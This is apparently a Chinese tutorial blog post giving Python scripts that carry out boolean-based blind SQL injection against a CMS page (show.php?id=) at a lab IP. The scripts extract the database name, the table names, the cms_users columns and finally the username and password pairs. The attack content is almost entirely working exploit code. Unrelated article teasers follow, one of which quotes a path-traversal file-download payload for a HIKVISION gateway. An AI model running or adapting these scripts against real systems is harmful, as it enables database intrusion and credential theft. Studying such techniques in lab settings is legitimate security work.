SQL注入漏洞:CMS布尔盲注python脚本编写

SQL注入漏洞:CMS布尔盲注python脚本编写

文章目录

  • SQL注入漏洞:CMS布尔盲注python脚本编写
    • 库名爆破
    • 爆破表名
    • 用户名密码爆破

库名爆破

import requests
#库名
database=""
x=0
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=33%20and%20length(database())={x}").headers['Content-Length']!= '5263':
    x+=1   #爆出当前库名长度
for j in range(1,x+1):
        # 对库名的每个字符进行爆破
    for i in range(20,127):
        response=requests.get(url=f"http://10.9.47.77/cms/show.php?id=33%20and%20ascii(substr(database(),{j},1))={i}")  #爆破库名
        
        if response.headers['Content-Length']== "5263" :  #如果长度为5263说明爆破成功
            database=database+chr(i)
print(database) #打印库名

效果:
在这里插入图片描述

爆破表名

table_name_list=[]
x=0
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{x},1))<999").headers['Content-Length'] == "5146":
    x+=1  #统计表的数量
for i in  range(0,x):
    y=1
    while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{i},1),{y},1))%3E20").headers['Content-Length']== "5146":
        y+=1    #统计每个表名有几个字符
    table_name = ""
    for j in range(1,y):   # 对每个表名里的字符进行爆破
        for k in range(20,127):
            if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{i},1),{j},1))={k}").headers['Content-Length'] == "5146":
                table_name+=chr(k)
    print(table_name)
    table_name_list.append(table_name)
print(table_name_list)

在这里插入图片描述

用户名密码爆破

import requests
x=0
account_list=[]
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and length((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {x},1))").headers["Content-Length"] == "5146":
    x += 1
#x为字段个数
print("所有表名:")
for i in range(0,x+1):
    account = ""
    for j in range(1,100):
        flag=0
        for k in range(20,127):
            if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1))={k}").headers["Content-Length"] == "5146":
                account+=chr(k)
                flag=1
        if flag== 0:
            break
    print(account)
    account_list.append(account)
user_List=[]
password_list=[]
for l in account_list:
    if l=="username" or l == "password":
        for i in range(0,100):
            flag=0
            user = ""
            password = ""
            for j in range(1,100):
                dump=0
                for k in range(20,127):
                    if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and ascii(substr((select {l} from cms_users limit {i},1),{j},1))={k}").headers["Content-Length"] == "5146":
                        if l=="username":
                            user+=chr(k)
                            dump=1
                        else:
                            password+=chr(k)
                            dump=1
                if dump==0:
                    break
                flag=1
            if flag==0:
                break
            if l == "username":
                user_List.append(user)
            else:
                password_list.append(password)
print("账号:密码")
for i in range(0,len(user_List)) :
    print(f"{user_List[i]}:{password_list[i]}")

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/133614.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【C++】函数指针 ① ( 函数三要素 | 函数类型 | 函数指针类型 | 函数类型重命名 )

文章目录 一、函数类型 和 函数指针类型1、函数三要素2、函数类型3、函数指针类型4、函数类型重命名 二、代码示例 - 函数类型重命名1、代码分析2、完整代码示例 一、函数类型 和 函数指针类型 1、函数三要素 函数原型有三个重要要素 : 函数名称 : 使用 标识符 为函数命名 ; 用…

rasa train nlu详解:1.1-train_nlu()函数

本文使用《使用ResponseSelector实现校园招聘FAQ机器人》中的例子&#xff0c;主要详解介绍train_nlu()函数中变量的具体值。 一.rasa/model_training.py/train_nlu()函数   train_nlu()函数实现&#xff0c;如下所示&#xff1a; def train_nlu(config: Text,nlu_data: Op…

Fortran 中的指针

Fortran 中的指针 指针可以看作一种数据类型 指针存储与之关联的数据的内存地址变量指针&#xff1a;指向变量数组指针&#xff1a;指向数组过程指针&#xff1a;指向函数或子程序指针状态 未定义未关联 integer, pointer::p1>null() !或者 nullify(p1) 已关联 指针操作 指…

python工具HIKVISION视频编码设备接入网关任意文件下载

python工具 构造payload /serverLog/downFile.php?fileName../web/html/serverLog/downFile.php漏洞证明 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&#xff0c;万分感谢。 免责声明&#xff1a;由于传播或利用此文所提供的信息、技术或方法而造成的任何…

Ansible命令使用

ansible ansible的命令 ansible命令模块Pingcommand 模块shell 模块copy 模块file 模块fetch 模块cron 模块yum 模块service 模块user 模块group 模块script 模块setup 模块get_url模块stat模块unarchive模块unarchive模块 ansible的命令 /usr/bin/ansible  Ansibe AD-Hoc 临…

【数据结构】归并排序

#include<iostream>using namespace std;void Merge(int* arr,int left,int right,int mid, int*& tmparr) {int begin1 left, end1 mid;int begin2 mid 1, end2 right;int tmpi left;//下面合并两个数组为一个有序数组&#xff08;升序&#xff09;&#xff1…

Spring Cloud学习(六)【统一网关 Gateway】

文章目录 网关的功能搭建网关服务路由断言工厂Route Predicate Factory路由过滤器 GatewayFilter过滤器执行顺序跨域问题处理 网关的功能 网关功能&#xff1a; 身份认证和权限校验服务路由、负载均衡请求限流 在SpringCloud中网关的实现包括两种&#xff1a; gatewayzuul …

带你详细了解git的【分支和标签】

&#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​​​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《git》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还是有一定基础的程序员&#xff0c;…

Spring Cloud学习(五)【Feign 远程调用】

文章目录 RestTemplate方式调用存在的问题Feign的介绍定义和使用Feign客户端Feign 的自定义配置Feign 性能优化Feign 的最佳实践 RestTemplate方式调用存在的问题 先来看我们以前利用RestTemplate发起远程调用的代码&#xff1a; 存在下面的问题&#xff1a; 代码可读性差&am…

【中间件篇-Redis缓存数据库04】Redis底层原理持久化、分布式锁

Redis底层原理 持久化 Redis虽然是个内存数据库&#xff0c;但是Redis支持RDB和AOF两种持久化机制&#xff0c;将数据写往磁盘&#xff0c;可以有效地避免因进程退出造成的数据丢失问题&#xff0c;当下次重启时利用之前持久化的文件即可实现数据恢复。 RDB RDB持久化是把当…

SSM框架Demo: 简朴博客系统

文章目录 1. 前端页面效果2. 项目创建3. 前期配置3.1. 创建数据库数据表3.2. 配置文件 4. 创建实体类5. 统一处理5.1. 统一返回格式处理5.2. 统一异常处理 6. 全局变量7. Session工具类8. 登录拦截器9. 密码加盐加密10. 线程池组件11. dao层11.1. UserMapper11.2. ArticleMappe…

【Linux】Linux常用命令—磁盘管理、压缩包管理

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…

nvm安装及使用,nodejs版本切换使用

nvm作用&#xff1a;切换电脑当前的nodejs版本用的&#xff0c;便于在开发不同的项目对应的nodejs环境 注意事项&#xff1a;安装的时候尽量把自己电脑上原本的版本给卸载防止出意外&#xff0c;如果没卸载安装的时候nvm会提示是否允许对当前电脑的nodejs进行控制&#xff0c;…

53. 最大子序和 392.判断子序列 115.不同的子序列 583. 两个字符串的删除操作 72. 编辑距离

53. 最大子序和 题目&#xff1a; 给定一个整数数组&#xff0c;求最大连续子序列和。&#xff08;至少包含一个元素&#xff09; 示例: 输入: [-2,1,-3,4,-1,2,1,-5,4]输出: 6解释: 连续子数组 [4,-1,2,1] 的和最大&#xff0c;为 6意为为了连续最大负数都可以包含进来。…

浅析移动端车牌识别技术的工作原理及其过程

随着社会经济的发展与汽车的日益普及带来巨大的城市交通压力,在此背景下,智能交通系统成为解决这一问题的关键。而在提出发展无线智能交通系统后,作为智能交通的核心,车牌识别系统需要开始面对车牌识别移动化的现实需求。基于实现车牌识别移动化这一目标,一种基于Android移动终…

运行npm install卡住不动的几种解决方案

在前端开发经常会遇到运行npm install 来安装工具包一直卡住不动&#xff0c;为此这里提供几种解决方案&#xff0c;供大家参考学习&#xff0c;不足之处还请指正。 第一种方案、首先检查npm代理&#xff0c;是否已经使用国内镜像 // 执行以下命令查看是否为国内镜像 npm con…

yo!这里是哈希应用相关介绍

目录 前言 位图 模拟实现 应用举例 布隆过滤器 模拟实现 应用举例 后记 前言 在介绍unordered系列容器时&#xff0c;我们知道其底层使用的是哈希表&#xff0c;其实哈希是一种方法&#xff0c;是一种思想&#xff0c;哈希思想&#xff08;Hashing&#xff09;是一种在…

软件测试岗,看完这31个问题再去面试(附解析)

今天&#xff0c;带给大家一套软件测试的高频面试题&#xff0c;这套题包含了各种类型的面试问题&#xff0c;涵盖了过往经历、业务考查、个人素质、HR问答等多种类型。完整的软件测试面试题大家可以移步公众号 「伤心的辣条」。在面试前可以结合自身实际情况&#xff0c;根据问…

Java编程--synchronized/死锁/可重入锁/内存可见性问题/wait()、notify()

前言 逆水行舟&#xff0c;不进则退&#xff01;&#xff01;&#xff01; 目录 线程安全 synchronized原子锁 可重入锁&#xff08;递归锁&#xff09; 死锁 内存可见性问题 wait()、notify() 线程安全 线程安全是指在多线程环境下&#xff0c;程序的行为表现仍然符合我…

WebSphere Liberty 8.5.5.9 (二)

WebSphere Liberty 8.5.5.9 &#xff08;二&#xff09; encode and decode Pre WebSphere Liberty 8.5.5.9 xor and AES 提取 D:\wlp-webProfile7-java8-8.5.5.9\wlp\lib 下必要加解密包 com.ibm.ws.crypto.certificateutil_1.0.12.jar com.ibm.ws.crypto.passwordutil_1…